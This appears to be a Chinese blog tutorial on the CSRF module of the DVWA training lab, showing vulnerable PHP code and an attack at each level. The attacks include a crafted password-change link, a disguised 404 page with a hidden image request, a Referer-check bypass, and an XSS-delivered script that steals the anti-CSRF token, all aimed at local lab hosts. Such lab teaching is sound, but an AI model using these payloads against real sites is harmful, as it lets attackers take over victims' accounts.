CSRF

前言

CSRF,  跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性, 两者区别于CSRF是跨站请求, XSS是跨站攻击。但事实上CSRF与XSS差别很大,XSS利用的是站点内的信任用户,而CSRF则是通过伪装来自受信任用户的请求来利用受信任的网站。

CSRF通过伪装来自受信任用户的请求来利用受信任的网站。通俗的说就是攻击者利用了你的身份(比如利用cookie登录),发送了恶意请求。就好比黑客盗用了你的qq然后假装是你,骗你朋友要钱。(也可以理解为钓鱼网站)
 

下面分别分析四种难度:

 

  • Low

服务端核心代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,  服务端只是对两次输入的新密码进行对比是否相等,  然后对数据库进行更新, 并采用md5加密。也没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。

 

漏洞利用

就像之前的博客  漏洞之CSRF攻击  举例所述,  CSRF攻击者可以构造链接或者页面,  诱导受害者点击之,  从而完成不察觉的攻击。

1.  最基础的构造链接

http://localhost/DVWA/vulnerabilities/csrf/index.php
?password_new=hack
&password_conf=hack
&Change=Change#

当受害者点击了这个链接, 密码就会被改为hack, (当然了,  在真实的环境下是公网的ip,  这里只做一个本地的演示)

查看一下数据库里的密码是否更改了,  发现密码是md5加密的,  我们解密:

CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,  这里还有一个小知识点:  A游览器留下的cookie不能在B游览器上使用。

所以当了受害者用了不同的游览器点击链接时,  攻击是不会被触发的。

事实上, 不得不说这个链接太明显了,不会有人点,  所以真正攻击场景下,我们需要对链接做一些处理。

2.  缩短攻击链接

用百度短网址工具:

https://dwz.cn/

需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。

3.  构造攻击页面

一般是构造与原网站一样钓鱼页面,  或者404页面

构造404攻击页面 hack.html (真实的攻击一般是在公网上,  这里就在本地访问演示):

<img src="http://localhost/DVWA/vulnerabilities/csrf/index.php?password_new=hack&password_conf=hack&Change=Change#" border="0"style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

当受害者访问之后,  会出现404的页面,  事实上他已经被攻击了:

 

 

  • Medium

服务端核心代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Checks to see where the request came from
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

			// Feedback for the user
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Issue with passwords matching
			$html .= "<pre>Passwords did not match.</pre>";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "<pre>That request didn't look correct.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
  • stripos() 函数

查找字符串在另一字符串中第一次出现的位置(不区分大小写)

可以看到,  服务端对Referer来源进行了对比判断, 变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名), 从而防止了跨站请求攻击

 

漏洞利用

这样的做法依然存在漏洞, 

1. 攻击者可以通过抓包修改Referer信息,  从而绕过防御。(事实上,  这样的抓包不太现实)

2. 过滤规则是http包头的Referer参数的值中必须包含主机名 (这里是192.168.10.105), 我们这里首先可以将之前的伪装404攻击页面重命名为: (受害者ip).html, 如 192.168.10.105.html

<img src="http://192.168.10.105/DVWA/vulnerabilities/csrf/index.php?password_new=hack&password_conf=hack&Change=Change#" border="0"style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

放置在攻击者的服务器 (192.168.10.100) 上,   当受害者打开这个网页时, 就会触发攻击:

事实上,  在真实环境中,  受害者的ip和攻击者的ip是处于公网的环境下的,  可以相互访问。上述攻击原理就是通过将攻击页面放置在攻击者的服务器中,  诱使受害者点击从而发动不易察觉的攻击 (攻击页面与原页面很相似, 甚至域名都很像)。虽然Medium级别中对Referer进行了判断,  过滤规则仅仅是Referer中必须包含(受害者ip)主机名,  攻击者只要将攻击页面的名字命名为与受害者ip一致即可绕过过滤,  从而发起攻击。

 

 

  • High

服务端核心代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

 

漏洞利用

要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

这里结合xss攻击,  试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击 (本地演示)

攻击代码: xss.js

var theUrl = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/index.php';
var pass = 'admin';
xmlhttp=new XMLHttpRequest();
xmlhttp.withCredentials = true;
var hacked = false;
xmlhttp.onreadystatechange=function(){
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        var text = xmlhttp.responseText;
        var regex = /user_token' value='(.*)' />/;
        var match = text.match(regex);
        var token = match[1];
        var new_url = 'http://127.0.0.1/DVWA/vulnerabilities/csrf/index.php?user_token='+token+'&password_new='+pass+'&password_conf='+pass+'&Change=Change'
        if(!hacked){
            alert('Got token:' + match[1]);
            hacked = true;
            xmlhttp.open("GET", new_url, false );
            xmlhttp.send();  
        }
        count++;
    }
};
xmlhttp.open("GET", theUrl );
xmlhttp.send();

当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

结合DOM XSS:

注入刚写的 xss.js 脚本:

http://localhost/DVWA/vulnerabilities/xss_d/index.php?default=English#<script src="http://localhost/DVWA/vulnerabilities/csrf/xss.js"></script>

弹出消息,说明攻击成功,此时admin的password已经改为了admin。

值得一提的是,  攻击者服务器A和受害者服务器B要么都处于公网中,  要么都处于局域网中(正如上一级别所演示的),  若B处于局域网中, 而A在公网中,  A是无法访问到B的,  因为局域网(C类ip)太多了, A根本无法定位B;  所以现在是不允许跨域请求的。

 

 

  • Impossible

服务端核心代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

发现在impossible级别中, 将当前用户密码验证成功才能修改新密码,  这也是现在流行的做法,  从根本上杜绝了cookie被利用的情况。

 

 

  • 参考文章

DVWA-1.9全级别教程之CSRF

DVWA(3)-CSRF

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值